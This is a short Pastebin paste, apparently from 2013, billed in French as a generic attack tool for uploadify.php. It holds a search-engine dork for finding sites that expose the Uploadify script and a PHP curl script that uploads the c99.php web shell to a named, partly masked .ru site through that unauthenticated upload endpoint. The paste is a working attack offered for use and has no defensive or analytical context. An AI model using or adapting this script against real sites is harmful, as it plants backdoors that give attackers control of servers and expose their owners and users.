blogfakessh

Untitled

Jun 7th, 2013
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.46 KB | None | 0 0
  1. utilitaire pour attaque generique uploadify.php
  2. inurl:uploadify.php
  3. <?php
  4.  
  5. $uploadfile="/root/c99.php";
  6. $ch =
  7. curl_init("http://mrk-**.ru/assets/components/uploadify/uploadify.php");
  8. curl_setopt($ch, CURLOPT_POST, true);
  9. curl_setopt($ch, CURLOPT_POSTFIELDS,
  10. array('Filedata'=>"@$uploadfile",
  11. 'Folder'=>"./"));
  12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  13. $postResult = curl_exec($ch);
  14. curl_close($ch);
  15. print "$postResult";
  16.  
  17. ?>
Advertisement
Add Comment
Please, Sign In to add comment